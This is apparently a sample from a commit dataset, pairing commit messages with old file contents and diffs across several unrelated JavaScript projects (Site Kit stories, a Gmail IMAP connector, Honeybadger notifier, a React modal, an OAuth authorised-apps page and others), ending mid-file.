6211b0fe43eed2e61920cc936430e91df9f9ba9e
Add withWidgetComponentProps to story.
assets/js/modules/idea-hub/components/dashboard/DashboardCTA.stories.js
assets/js/modules/idea-hub/components/dashboard/DashboardCTA.stories.js
/** * Idea Hub DashboardCTA component stories. * * Site Kit by Google, Copyright 2021 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * Internal dependencies */ import { provideModules } from '../../../../../../tests/js/utils'; import WithRegistrySetup from '../../../../../../tests/js/WithRegistrySetup'; import DashboardCTA from './DashboardCTA'; const Template = ( { setupRegistry, ...args } ) => ( <WithRegistrySetup func={ setupRegistry }> <DashboardCTA { ...args } /> </WithRegistrySetup> ); export const DefaultDashboardCTA = Template.bind( {} ); DefaultDashboardCTA.storyName = 'Default'; DefaultDashboardCTA.args = { setupRegistry: ( registry ) => { provideModules( registry, [ { active: true, connected: true, slug: 'idea-hub', } ] ); }, }; export const ActiveNotConnected = Template.bind( {} ); ActiveNotConnected.storyName = 'Active, not connected'; ActiveNotConnected.args = { setupRegistry: ( registry ) => { provideModules( registry, [ { active: true, connected: false, slug: 'idea-hub', } ] ); }, }; export default { title: 'Modules/Idea Hub/Components/dashboard/DashboardCTA', parameters: { features: [ 'ideaHubModule' ], }, };
JavaScript
0
@@ -846,42 +846,242 @@ ort -DashboardCTA from './DashboardCTA' +%7B withWidgetComponentProps %7D from '../../../../googlesitekit/widgets/util/get-widget-component-props';%0Aimport DashboardCTA from './DashboardCTA';%0A%0Aconst WidgetWithComponentProps = withWidgetComponentProps( 'idea-hub' )( DashboardCTA ) ;%0A%0Ac @@ -1179,28 +1179,40 @@ y %7D%3E%0A%09%09%3C -DashboardCTA +WidgetWithComponentProps %7B ...ar
af1a4979c8e891c78ef2c3a17ce962cb78333422
move fetchAttachment
server/helpers/mail/GmailConnector.js
server/helpers/mail/GmailConnector.js
import Promise from 'bluebird'; import moment from 'moment'; import { MailParser } from 'mailparser'; import ImapConnector from './ImapConnector'; class GmailConnector extends ImapConnector { constructor(options) { super(options); } fetchEmails(storeEmail, boxType) { return this.openBoxAsync(boxType).then((box) => { return this.imap.getMailAsync(this.imap.seq.fetch([1, box.messages.total].map(String).join(':'), { bodies: '', struct: true, markSeen: false, extensions: ['X-GM-LABELS'] }), (mail) => { return this.parseDataFromEmail(mail, storeEmail); }); }) .then((messages) => { return messages; }) .catch((error) => { console.error('Error: ', error.message); }); } parseDataFromEmail(mail, storeEmail) { return new Promise((resolve, reject) => { const mailParser = new MailParser(); let labels = { 'x-gm-labels': [], flags: [] }; mailParser.on('end', (mailObject) => { const email = { messageId: mailObject.messageId, from: mailObject.from, to: mailObject.to, subject: mailObject.subject, text: mailObject.text, html: mailObject.html, date: moment(mailObject.date).format('YYYY-MM-DD HH:mm:ss'), flags: labels.flags, labels: labels['x-gm-labels'] }; storeEmail(email).then((msg) => { resolve(msg); }); }); mail.on('body', (stream, info) => { let buffer = ''; stream.on('data', (chunk) => { buffer += chunk.toString('utf8'); }); stream.on('end', () => { mailParser.write(buffer); }); }).once('attributes', (attrs) => { labels = attrs; }).once('end', () => { mailParser.end(); }).on('error', () => reject()); }); } fetchAttachment(mail) { return this.imap.collectEmailAsync(mail) .then((msg) => { msg.attachments = this.imap.findAttachments(msg); msg.downloads = Promise.all(msg.attachments.map((attachment) => { const emailId = msg.attributes.uid; const saveAsFilename = attachment.params.name; return this.imap.downloadAttachmentAsync(emailId, attachment, saveAsFilename); })); return Promise.props(msg); }); } } export default GmailConnector;
JavaScript
0.000003
@@ -1948,489 +1948,8 @@ %7D%0A%0A - fetchAttachment(mail) %7B%0A return this.imap.collectEmailAsync(mail)%0A .then((msg) =%3E %7B%0A msg.attachments = this.imap.findAttachments(msg);%0A msg.downloads = Promise.all(msg.attachments.map((attachment) =%3E %7B%0A const emailId = msg.attributes.uid;%0A const saveAsFilename = attachment.params.name;%0A return this.imap.downloadAttachmentAsync(emailId, attachment, saveAsFilename);%0A %7D));%0A return Promise.props(msg);%0A %7D);%0A %7D%0A%0A %7D%0A%0Ae
881132dc2eaf7d63bbfaf4e38c1d863224f0ce2e
Make TwG Settings Edit view consistent.
assets/js/modules/thank-with-google/components/settings/SettingsForm.js
assets/js/modules/thank-with-google/components/settings/SettingsForm.js
/** * Thank with Google Settings Form component. * * Site Kit by Google, Copyright 2021 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * WordPress dependencies */ import { Fragment } from '@wordpress/element'; /** * Internal dependencies */ import StoreErrorNotices from '../../../../components/StoreErrorNotices'; import { MODULES_THANK_WITH_GOOGLE } from '../../datastore/constants'; import { CTAPlacement, ColorRadio, PostTypesSelect, SupporterWall, } from '../common'; export default function SettingsForm() { return ( <Fragment> <StoreErrorNotices moduleSlug="thank-with-google" storeName={ MODULES_THANK_WITH_GOOGLE } /> <div className="googlesitekit-setup-module__inputs"> <CTAPlacement /> <SupporterWall /> <ColorRadio /> <PostTypesSelect /> </div> </Fragment> ); }
JavaScript
0
@@ -1264,30 +1264,8 @@ /%3E%0A -%09%09%09%09%3CSupporterWall /%3E%0A %09%09%09%09 @@ -1303,16 +1303,38 @@ lect /%3E%0A +%09%09%09%09%3CSupporterWall /%3E%0A %09%09%09%3C/div
68c52eb4f188547251efe9bbddc9e9a18902b8b8
Make DOM to Aura event replay more defensive.
aura-components/src/main/components/ui/interactive/interactiveHelper.js
aura-components/src/main/components/ui/interactive/interactiveHelper.js
/* * Copyright (C) 2013 salesforce.com, inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ ({ /** * Adds an event handler for every DOM event for which this input has a Aura-equivalent handler */ addDomEvents : function(component) { var events = this.getHandledDOMEvents(component); for (var event in events) { this.addDomHandler(component, event); } }, /** * Adds an event handler for the given DOM event */ addDomHandler : function(component, event) { var el = component.getElement(); $A.util.on(el, event, this.domEventHandler); }, /** * Handles a DOM-level event and throws the Aura-level equivalent. * * This same function is used for all DOM->Aura event wireup on components, which has multiple benefits: * - decreased memory footprint * - no need to protect against a handler being added more than once * - no need to track event->handler function mappings for later removal */ domEventHandler : function (event) { var element = event.target; var htmlCmp = $A.componentService.getRenderingComponentForElement(element); var component = htmlCmp.getAttributes().getComponentValueProvider().getConcreteComponent(); var helper = component.getDef().getHelper(); // extended components can do some event processing before the Aura event gets fired helper.preEventFiring(component, event); // fire the equivalent Aura event helper.fireEvent(component, event, helper); }, /** * Fire the equivalent Aura event for DOM one. * This can be overridden by extended component */ fireEvent : function (component, event, helper) { var e = component.getEvent(event.type); helper.setEventParams(e, event); e.fire(); }, /** * Returns the list of valid DOM events this component may handle * * NOTE: this currently assumes that interactive.cmp only handles events that are valid DOM events. * We may wish to change this to an explicit list at some point. */ getDomEvents : function(component) { return component.getDef().getAllEvents(); }, /** * Returns an object whose keys are the lower-case names of DOM-equivalent Aura events for which this component currently has handlers */ getHandledDOMEvents : function(component){ var ret = {}; var handledEvents = component.getHandledEvents(); var domEvents = this.getDomEvents(component); if(domEvents){ for(var i=0,len=domEvents.length; i<len; i++){ var eventName = domEvents[i].toLowerCase(); if (handledEvents[eventName]) { ret[eventName] = true; } } } return ret; }, /** * This method is intended to be overridden by extended components to do event related stuff before the event gets fired. * For example, input component uses this method to update its value if the event is the "updateOn" event. */ preEventFiring : function(component, event){ }, /** * Set event's parameters with the value from DOM event. * The event's parameter name should be the same as the property name in DOM event. */ setEventParams : function(e, DOMEvent) { // set parameters if there is any var attributeDefs = e.getDef().getAttributeDefs(); var params = {}; for (var key in attributeDefs) { if (key === "domEvent") { params[key] = DOMEvent; } else if (key === "keyCode") { // we need to re-visit this keyCode madness soon params[key] = DOMEvent.which || DOMEvent.keyCode; } else { params[key] = DOMEvent[key]; } }; e.setParams(params); }, /** * Toggle a component's disabled state and an optional CSS class. * @param {Component} component The component being toggled. * @param {Boolean} disabled True to set disabled; false for enabled. * @param {String} disabledCss Optional css class to apply when disabled, and remove when enabled. */ setDisabled: function(component, disabled, disabledCss) { component.setValue('v.disabled', disabled); if (disabledCss) { var fn = disabled ? component.addClass : component.removeClass; fn.call(component, disabledCss); } } })
JavaScript
0
@@ -1849,16 +1849,78 @@ elper(); +%0A %0A if (!helper) %7B%0A return;%0A %7D %0A%0A @@ -2006,16 +2006,57 @@ s fired%0A + if (helper.preEventFiring) %7B%0A @@ -2091,24 +2091,34 @@ ent, event); +%0A %7D %0A%0A // @@ -2145,24 +2145,60 @@ Aura event%0A + if (helper.fireEvent) %7B%0A help @@ -2233,24 +2233,34 @@ t, helper);%0A + %7D%0A %7D,%0A%0A
04edcc0903afb8707e0ebb192b4e40fea0448075
send client composition with working even stream!
lib/flow.server.js
lib/flow.server.js
var Flow = require('./flow/flow'); var bunyan = require('bunyan'); var cache = require('./cache'); var socket = require('./socket'); module.exports = function factory (config) { return socket.incoming(Flow({ module: function loadModule (name, callback) { try { var module = require(config.paths.module + '/' + name); } catch (err) { return callback(err); } callback(null, module); }, composition: function (name, callback) { try { var composition = require(this.config.paths.composition + '/' + name + '.json'); } catch (err) { return callback(err); } callback(null, composition); }, request: socket.request, cache: cache, log: bunyan, config: config, // TODO maybe there's a better way to provide a core flow config _flow: { 'C': [[composition]], 'M': [[markup]] } })); }; function markup (stream, options) { // TODO just use the stream and send the read file if (options.res && options.res.sendFile) { // TODO get markup from modules markup path? // TODO send markup snipptet from the apps public folder res.sendFile(config.paths.markup + '/'/*send markup file*/); } } function composition (stream, options, data) { // handle entrypoint if (name === '*') { var host = '';//instance = socket.upgradeReq.headers.host.split(':')[0]; var entrypoints = this.config.entrypoints[session.role ? 'private' : 'public']; // TODO maybe entrypoints can have simple routing.. name = entrypoints[host] || entrypoints['*']; } stream.end(null, composition); }
JavaScript
0
@@ -1432,15 +1432,44 @@ ns, -data) %7B +name) %7B%0A%0A name = name.toString(); %0A%0A @@ -1646,16 +1646,23 @@ ypoints%5B +stream. session. @@ -1810,24 +1810,493 @@ '%5D; %0A %7D%0A%0A + if (!name) %7B%0A return stream.end(new Error('Flow.server.composition: No name.'));%0A %7D%0A%0A try %7B%0A var composition = require(this.config.paths.composition + '/' + name + '.json');%0A %7D catch (err) %7B%0A return stream.end(err);%0A %7D%0A%0A if (!composition.client) %7B%0A return stream.end(new Error('Flow.server.composition: No client config.'));%0A %7D%0A%0A composition.client.module = composition.module;%0A console.log(composition.client);%0A%0A stream.e @@ -2300,24 +2300,39 @@ m.end(null, +JSON.stringify( composition) @@ -2330,13 +2330,21 @@ position +.client) );%0A%7D%0A
79488c2b0005ded5294ada63b83dfdf62a5faf53
add organization action only logs through callback
lib/commands/add/organization.js
lib/commands/add/organization.js
#!/usr/bin/env node var _ = require('lodash'); var async = require('async'); var utils = require('../../utils'); var actions = utils.getActions(); function registerCommand(program) { program .command('organization [quantity]') .alias('o') .option('-p, --parentOrganizationId <integer>', 'The parent organization ID to add the organization to. Defaults to 0.', Number, 0) .description('Adds one or more organizations to the database.') .action(function(number) { number = !_.isNaN(Number(number)) ? Number(number) : 1; addOrganization(number, this.parentOrganizationId); }); return program; } function addOrganization(numberOfOrganizations, parentOrganizationId, callback) { var bar = utils.getProgressBar(numberOfOrganizations); var organizations = []; utils.statusMessage(numberOfOrganizations, 'organization'); async.timesSeries( numberOfOrganizations, function(n, asyncCallback) { var organizationName = utils.generateOrganizationName(); actions.addOrganization( organizationName, function(error, response) { if (!error) { bar.tick(); asyncCallback(null, response); } } ); }, function(error, results) { if (!error) { for (var i = 0, length = results.length; i < length; i++) { console.log(''); console.log('New Organization:'); utils.printJSON(JSON.parse(results[i])); console.log(''); } console.log('Successfully added', + results.length + ' new organizations.'); if (callback) { callback(null, results); } } } ); return organizations; } module.exports.registerCommand = registerCommand; module.exports.command = addOrganization;
JavaScript
0
@@ -581,16 +581,330 @@ zationId +, function(error, results) %7B%0A%09%09%09%09for (var i = 0, length = results.length; i %3C length; i++) %7B%0A%09%09%09%09%09console.log('');%0A%09%09%09%09%09console.log('New Organization:');%0A%09%09%09%09%09utils.printJSON(JSON.parse(results%5Bi%5D));%0A%09%09%09%09%09console.log('');%0A%09%09%09%09%7D%0A%0A%09%09%09%09console.log('Successfully added', + results.length + ' new organizations.');%0A%09%09%09%7D );%0A%09%09%7D); @@ -1514,302 +1514,12 @@ rror -) %7B%0A%09%09%09%09for (var i = 0, length = results.length; i %3C length; i++) %7B%0A%09%09%09%09%09console.log('');%0A%09%09%09%09%09console.log('New Organization:');%0A%09%09%09%09%09utils.printJSON(JSON.parse(results%5Bi%5D));%0A%09%09%09%09%09console.log('');%0A%09%09%09%09%7D%0A%0A%09%09%09%09console.log('Successfully added', + results.length + ' new organizations.');%0A%0A%09%09%09%09if ( + && call @@ -1522,25 +1522,24 @@ callback) %7B%0A -%09 %09%09%09%09callback @@ -1555,22 +1555,16 @@ sults);%0A -%09%09%09%09%7D%0A %09%09%09%7D%0A%09%09%7D
4f405b3930f85c58ff6ee1b4c7b7e759595b3a2f
allow empty paths in filesystem collection
lib/core/FilesystemCollection.js
lib/core/FilesystemCollection.js
/* filesystem collection class knows how to crawl a directory and create models from the raw data */ define([ '../core/Collection', 'lodash', 'path' ], function (Collection, _, npath) { var _super = Collection.prototype; return Collection.extend({ 'namespace': 'FilesystemCollection', 'filetype': 'file', 'initialize': function (options) { var self = this; _super.initialize.apply(self, arguments); }, 'shouldReadPath': function (path) { var self = this; return self.filesystem.hasFileExtension(path, self.extension); }, 'readPath': function (path) { var self = this; var raw = self.filesystem.readFile(path); return { 'path': path, 'raw': raw }; }, 'fetchModels': function (path, logger) { var self = this; var models = []; self.filesystem.readDirectory(path, function (subpath) { if (self.shouldReadPath(subpath)) { models.push(self.readPath(subpath)); logger.nextAndDone(); } else if (self.filesystem.isDirectory(subpath)) { models = models.concat(self.fetchModels(subpath, logger)); } }); return models; }, 'fetch': function (paths) { var self = this; var deferred = self.deferred(); var models = []; if (!_.isArray(paths)) { paths = [paths]; } _.each(paths, function (path) { if (path.indexOf(process.cwd()) < 0) { path = npath.join(process.cwd(), path); } var logger = self.logger.wait(self.namespace, 'Loading 0 ' + self.filetype + '(s) @ ' + path, true); if (!self.filesystem.isDirectory(path)) { throw new Error(self.namespace + ' could not fetch ' + self.filetype + ', invalid path @' + path); } var newModels = self.fetchModels(path, logger); if (newModels.length) { models = models.concat(newModels); } }); self.reset(models, self.options); deferred.resolve(self); return deferred.promise(); } }); });
JavaScript
0.000001
@@ -1561,32 +1561,110 @@ th);%0A %7D%0A%0A + if (!self.filesystem.pathExists(path)) %7B%0A return;%0A %7D%0A%0A var logg
3de781c0215f1ffeff69f0843b73979ba7a2e4fa
Update hdtxbuilder.js
lib/hdtxbuilder.js
lib/hdtxbuilder.js
'use strict'; var multisigUtil = require('./util_multisig'); var TxBuilder = require('./txbuilder'); var HDTxBuilder = module.exports = function(change_address, hdwallet, feesize, network){ this.hdwallet = hdwallet; this.network = network; this.txb = new TxBuilder( change_address, hdwallet.neededSignatures, hdwallet.masterPubkeys.length, feesize, network ); } HDTxBuilder.prototype.addInput = function(txid, vout_n, satoshi, hdpath){ var wallet = this.hdwallet.makeWallet(hdpath, this.network); var path = wallet.path.split('/').slice(1).join("/"); return this.txb.addInput( txid, vout_n, satoshi, wallet.createRedeemScript(), path ); } HDTxBuilder.prototype.addSpent = function(address, satoshi){ return this.txb.addSpent(address, satoshi); } HDTxBuilder.prototype.unsignedBuild = function(){ return this.txb.unsignedBuild(); }
JavaScript
0
@@ -628,66 +628,8 @@ k);%0A - var path = wallet.path.split('/').slice(1).join(%22/%22);%0A @@ -746,16 +746,23 @@ +wallet. path%0A
7a7b86cf059d3aef8f73ea76b9f22135268480bb
Add default development environments.
lib/honeybadger.js
lib/honeybadger.js
'use strict'; var EventEmitter = require('events').EventEmitter; var util = require('./util'); var backend = require('./backend'); var logger = require('./logger'); var notice = require('./notice'); var middleware = require('./middleware'); var configOpts = ['apiKey', 'endpoint', 'projectRoot', 'environment', 'hostname', 'developmentEnvironments']; function Honeybadger(opts) { var self = Object.create(EventEmitter.prototype); EventEmitter.call(self); self.configure = configure; self.setContext = setContext; self.resetContext = resetContext; self.wrap = wrap; self.notify = notify; self.errorHandler = middleware.errorHandler(self); self.apiKey = process.env.HONEYBADGER_API_KEY; self.endpoint = process.env.HONEYBADGER_ENDPOINT || 'https://api.honeybadger.io'; self.projectRoot = process.env.HONEYBADGER_PROJECT_ROOT || process.cwd(); self.environment = process.env.HONEYBADGER_ENVIRONMENT || process.env.NODE_ENV; self.hostname = process.env.HONEYBADGER_HOSTNAME || require('os').hostname(); self.developmentEnvironments = []; self.logger = logger(process.env.HONEYBADGER_LOG_LEVEL || 'error'); self.context = {}; self.configure(opts); return self; } function configure(opts) { var opt; if (!(opts instanceof Object)) { return this; } for (opt in opts) { if (configOpts.indexOf(opt) < 0) { throw new Error('Invalid config option: ' + opt); } this[opt] = opts[opt]; } return this; } function setContext(context) { if (context instanceof Object) { this.context = util.merge(this.context, context); } return this; } function resetContext(context) { if (context instanceof Object) { this.context = util.merge({}, context); } else { this.context = {}; } return this; } function wrap(cb) { var self = this; return function() { try { return cb.apply(this, arguments); } catch(e) { self.notify(e, {stackShift: 3}); throw(e); } } } function notify(err, name, extra) { if (!this.apiKey) { return this; } if (!err) { err = {}; } if (err instanceof Error) { var e = err; err = {name: e.name, message: e.message, stack: e.stack}; } if (!(err instanceof Object)) { var m = String(err); err = {message: m}; } if (name && !(name instanceof Object)) { var n = String(name); name = {name: n}; } if (name) { err = util.merge(err, name); } if (extra instanceof Object) { err = util.merge(err, extra); } if (!err.projectRoot) { err.projectRoot = this.projectRoot; } if (!err.hostname) { err.hostname = this.hostname; } if (!err.environment) { err.environment = this.environment; } if (this.developmentEnvironments.indexOf(err.environment) !== -1) { return this; } err.context = util.merge(this.context, err.context || {}); err.stackFilter = stackFilter(this); if (!err.stackShift) { err.stackShift = 2; } var self = this; notice(err, function (payload) { backend.notice(self, payload); }); return this; } function stackFilter(client) { return function(f) { if (f.file) { f.file = f.file.replace(/.*\/node_modules\/(.+)/, '[NODE_MODULES]/$1'); f.file = f.file.replace(client.projectRoot, '[PROJECT_ROOT]'); } return f; } } var singleton = Honeybadger(); singleton.factory = Honeybadger; module.exports = singleton;
JavaScript
0
@@ -1060,16 +1060,44 @@ ents = %5B +'dev', 'development', 'test' %5D;%0A%0A se
01bd9c6df9a4a5023674052e0302d1af07e5e443
build the file
lib/Modal/modal.js
lib/Modal/modal.js
'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _extends2 = require('babel-runtime/helpers/extends'); var _extends3 = _interopRequireDefault(_extends2); var _getPrototypeOf = require('babel-runtime/core-js/object/get-prototype-of'); var _getPrototypeOf2 = _interopRequireDefault(_getPrototypeOf); var _classCallCheck2 = require('babel-runtime/helpers/classCallCheck'); var _classCallCheck3 = _interopRequireDefault(_classCallCheck2); var _createClass2 = require('babel-runtime/helpers/createClass'); var _createClass3 = _interopRequireDefault(_createClass2); var _possibleConstructorReturn2 = require('babel-runtime/helpers/possibleConstructorReturn'); var _possibleConstructorReturn3 = _interopRequireDefault(_possibleConstructorReturn2); var _inherits2 = require('babel-runtime/helpers/inherits'); var _inherits3 = _interopRequireDefault(_inherits2); var _reactAriaModal = require('react-aria-modal'); var _reactAriaModal2 = _interopRequireDefault(_reactAriaModal); var _reactCssModules = require('react-css-modules'); var _reactCssModules2 = _interopRequireDefault(_reactCssModules); var _reactAddonsCssTransitionGroup = require('react-addons-css-transition-group'); var _reactAddonsCssTransitionGroup2 = _interopRequireDefault(_reactAddonsCssTransitionGroup); var _react = require('react'); var _react2 = _interopRequireDefault(_react); var _modal = require('./modal.css'); var _modal2 = _interopRequireDefault(_modal); var _Button = require('../Button'); var _Button2 = _interopRequireDefault(_Button); var _Icon = require('../Icon'); var _Icon2 = _interopRequireDefault(_Icon); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var Modal = function (_React$Component) { (0, _inherits3.default)(Modal, _React$Component); function Modal(props) { (0, _classCallCheck3.default)(this, Modal); var _this = (0, _possibleConstructorReturn3.default)(this, (Modal.__proto__ || (0, _getPrototypeOf2.default)(Modal)).call(this, props)); _this.handleEnter = function () { _this.setState({ entered: true }); }; _this.handleActive = function () { _this.setState({ active: true }); }; _this.handleExit = function () { _this.setState({ entered: false }, function () { setTimeout(function () { _this.setState({ active: false }); }, 300); }); }; var state = { active: props.isOpen ? props.isOpen : false, entered: true }; _this.state = state; return _this; } (0, _createClass3.default)(Modal, [{ key: 'render', value: function render() { var _props = this.props; var children = _props.children; var rootElementId = _props.rootElementId; var onExit = _props.onExit; var title = _props.title; var focusElementId = _props.focusElementId; var underlayClickExits = _props.underlayClickExits; var alert = _props.alert; var button = _props.button; var isOpen = _props.isOpen; var extras = { focusDialog: !focusElementId }; var underlayClass = _modal2.default['modal-underlay']; if (this.state.entered) underlayClass += ' ' + _modal2.default.entered; var transitionNames = { enter: _modal2.default['modal-enter'], enterActive: _modal2.default['modal-enter-active'], leave: _modal2.default['modal-leave'], leaveActive: _modal2.default['modal-leave-active'], appear: _modal2.default['modal-enter'], appearActive: _modal2.default['modal-enter-active'] }; return _react2.default.createElement( 'div', null, button && _react2.default.createElement( _Button2.default, { type: 'primary', onClick: this.handleActive, active: this.state.active }, title ), _react2.default.createElement( _reactAriaModal2.default, (0, _extends3.default)({}, extras, { underlayClickExits: underlayClickExits, mounted: this.state.active, titleText: title, onEnter: this.handleEnter, onExit: this.handleExit, applicationNode: document.getElementById(rootElementId), underlayClass: underlayClass, underlayColor: false, alert: alert, className: _modal2.default.modal }), _react2.default.createElement( _reactAddonsCssTransitionGroup2.default, { transitionName: transitionNames, transitionAppear: true, transitionEnterTimeout: 300, transitionAppearTimeout: 300, transitionLeaveTimeout: 300 }, this.state.entered && _react2.default.createElement( 'div', { styleName: 'modal', key: 'animationItem' }, _react2.default.createElement(_Icon2.default, { name: 'close', styleName: 'modal-close-icon', onClick: this.handleExit }), children ) ) ) ); } }]); return Modal; }(_react2.default.Component); Modal.defaultProps = { onExit: function noop() {} }; exports.default = (0, _reactCssModules2.default)(Modal, _modal2.default);
JavaScript
0.000017
@@ -2527,46 +2527,16 @@ ive: - props.isOpen ? props.isOpen : false,%0A @@ -2527,24 +2527,24 @@ ive: false,%0A + entere @@ -3087,16 +3087,58 @@ isOpen;%0A + var closeModal = _props.closeModal;%0A %0A%0A @@ -4158,16 +4158,34 @@ mounted: + isOpen ? isOpen : this.st @@ -4284,16 +4284,38 @@ onExit: + isOpen ? closeModal : this.ha @@ -5033,24 +5033,24 @@ ionItem' %7D,%0A - @@ -5145,32 +5145,54 @@ -icon', onClick: + isOpen ? closeModal : this.handleExit
86da593eebdc7d7138b76ceac6d4931f851973df
Revert "Revert "negar/revoke_access""
src/javascript/binary/websocket_pages/user/account/settings/authorised_apps/authorised_apps.ui.js
src/javascript/binary/websocket_pages/user/account/settings/authorised_apps/authorised_apps.ui.js
const ApplicationsData = require('./authorised_apps.data'); const BinarySocket = require('../../../../socket'); const showLocalTimeOnHover = require('../../../../../base/clock').showLocalTimeOnHover; const localize = require('../../../../../base/localize').localize; const showLoadingImage = require('../../../../../base/utility').showLoadingImage; const FlexTableUI = require('../../../../../common_functions/attach_dom/flextable'); const toTitleCase = require('../../../../../common_functions/string_util').toTitleCase; const ApplicationsUI = (() => { 'use strict'; const container_selector = '#applications-container'; const messages = { no_apps : 'You have not granted access to any applications.', revoke_confirm: 'Are you sure that you want to permanently revoke access to application', revoke_access : 'Revoke access', }; const formatApp = (app) => { const last_used = app.last_used ? app.last_used.format('YYYY-MM-DD HH:mm:ss') : localize('Never'); const scopes = app.scopes.map(scope => localize(toTitleCase(scope))).join(', '); return [ app.name, scopes, last_used, '', // for the "Revoke App" button ]; }; const createRevokeButton = (container, app) => { const $button = $('<button/>', { class: 'button', text: localize(messages.revoke_access) }); $button.on('click', () => { if (window.confirm(`${localize(messages.revoke_confirm)}: '${app.name}'?`)) { BinarySocket.send({ oauth_apps: 1, revoke_app: app.id }).then((response) => { if (response.error) { displayError(response.error.message); } else { update(response.oauth_apps.map(ApplicationsData.parse)); } }); container.css({ opacity: 0.5 }); } }); return $button; }; const createTable = (data) => { if ($('#applications-table').length) { return FlexTableUI.replace(data); } const headers = ['Name', 'Permissions', 'Last Used', 'Action']; const columns = ['name', 'permissions', 'last_used', 'action']; FlexTableUI.init({ container: container_selector, header : headers.map(s => localize(s)), id : 'applications-table', cols : columns, data : data, style : ($row, app) => { $row.children('.action').first() .append(createRevokeButton($row, app)); }, formatter: formatApp, }); return showLocalTimeOnHover('td.last_used'); }; const update = (apps) => { $('#loading').remove(); createTable(apps); if (!apps.length) { FlexTableUI.displayError(localize(messages.no_apps), 7); } }; const displayError = (message) => { $(container_selector).find('.error-msg').text(message); }; const init = () => { showLoadingImage($('<div/>', { id: 'loading' }).insertAfter('#applications-title')); }; const clean = () => { $(container_selector).find('.error-msg').text(''); FlexTableUI.clear(); }; return { init : init, clean : clean, update : update, displayError: displayError, }; })(); module.exports = ApplicationsUI;
JavaScript
0
@@ -370,16 +370,91 @@ gImage;%0A +const State = require('../../../../../base/storage').State;%0A const Fl @@ -688,16 +688,45 @@ rict';%0A%0A + let can_revoke = false;%0A%0A cons @@ -1262,97 +1262,104 @@ -return %5B%0A app.name,%0A scopes,%0A last_used,%0A '', +const data = %5Bapp.name, scopes, last_used%5D;%0A if (can_revoke) %7B%0A data.push(''); // @@ -1394,17 +1394,37 @@ -%5D +%7D%0A return data ;%0A %7D; @@ -1745,29 +1745,20 @@ d(%7B -oauth_apps: 1, revoke +_oauth _app @@ -1943,24 +1943,105 @@ +BinarySocket.send(%7B oauth_apps: 1 %7D).then((res) =%3E %7B%0A update(respo @@ -2038,21 +2038,16 @@ date(res -ponse .oauth_a @@ -2076,24 +2076,52 @@ ta.parse));%0A + %7D);%0A @@ -2459,18 +2459,8 @@ sed' -, 'Action' %5D;%0A @@ -2471,71 +2471,172 @@ c -onst columns = %5B'name', 'permissions', 'last_used', 'a +an_revoke = /admin/.test((State.get(%5B'response', 'authorize', 'authorize'%5D) %7C%7C %7B%7D).scopes);%0A if (can_revoke) %7B%0A headers.push('A ction' -%5D +) ;%0A + %7D%0A @@ -2740,21 +2740,16 @@ map( -s =%3E localize (s)) @@ -2748,11 +2748,8 @@ lize -(s) ),%0A @@ -2819,15 +2819,69 @@ : -columns +headers.map(title =%3E title.toLowerCase().replace(/%5Cs/g, '-')) ,%0A @@ -2939,32 +2939,70 @@ $row, app) =%3E %7B%0A + if (can_revoke) %7B%0A @@ -3033,37 +3033,16 @@ .first() -%0A .append( @@ -3069,24 +3069,42 @@ row, app));%0A + %7D%0A
d4bccae4191eef25eeae3da28fb8ca1d99e02af9
empty string should be iterable
lib/is-iterable.js
lib/is-iterable.js
'use strict'; /** * Checks if `obj` is iterable. * * @param {*} obj - some object. * @return {boolean} */ module.exports = (obj) => Boolean(obj) && typeof obj[Symbol.iterator] === 'function';
JavaScript
0.999907
@@ -19,72 +19,198 @@ %0A * -Checks if %60obj%60 is iterable.%0A *%0A * @param %7B*%7D obj - some object +Returns %60true%60 if the specified object implements the Iterator protocol via implementing a %60Symbol.iterator%60.%0A *%0A * @param %7B*%7D iterable - a value which might implement the Iterable protocol .%0A * @@ -254,28 +254,37 @@ = ( -obj) =%3E Boolean(obj) +iterable) =%3E iterable != null && @@ -290,19 +290,24 @@ typeof -obj +iterable %5BSymbol.
0f5b0ca28ee988697eb24d85549ba587676537c9
Remove unnecessary translateGutter export
lib/lineBuilder.js
lib/lineBuilder.js
'use strict' const ACTUAL = Symbol('lineBuilder.gutters.ACTUAL') const EXPECTED = Symbol('lineBuilder.gutters.EXPECTED') function translateGutter (theme, gutter) { if (gutter === ACTUAL) return theme.diffGutters.actual if (gutter === EXPECTED) return theme.diffGutters.expected return theme.diffGutters.padding } exports.translateGutter = translateGutter class Line { constructor (isFirst, isLast, gutter, stringValue) { this.isFirst = isFirst this.isLast = isLast this.gutter = gutter this.stringValue = stringValue } * [Symbol.iterator] () { yield this } get isEmpty () { return false } get hasGutter () { return this.gutter !== null } get isSingle () { return this.isFirst && this.isLast } append (other) { return this.concat(other) } concat (other) { return new Collection() .append(this) .append(other) } toString (options) { if (options.diff === false) return this.stringValue return translateGutter(options.theme, this.gutter) + this.stringValue } mergeWithInfix (infix, other) { if (other.isLine !== true) { return new Collection() .append(this) .mergeWithInfix(infix, other) } return new Line(this.isFirst, other.isLast, other.gutter, this.stringValue + infix + other.stringValue) } withFirstPrefixed (prefix) { if (!this.isFirst) return this return new Line(true, this.isLast, this.gutter, prefix + this.stringValue) } withLastPostfixed (postfix) { if (!this.isLast) return this return new Line(this.isFirst, true, this.gutter, this.stringValue + postfix) } stripFlags () { return new Line(false, false, this.gutter, this.stringValue) } decompose () { return new Collection() .append(this) 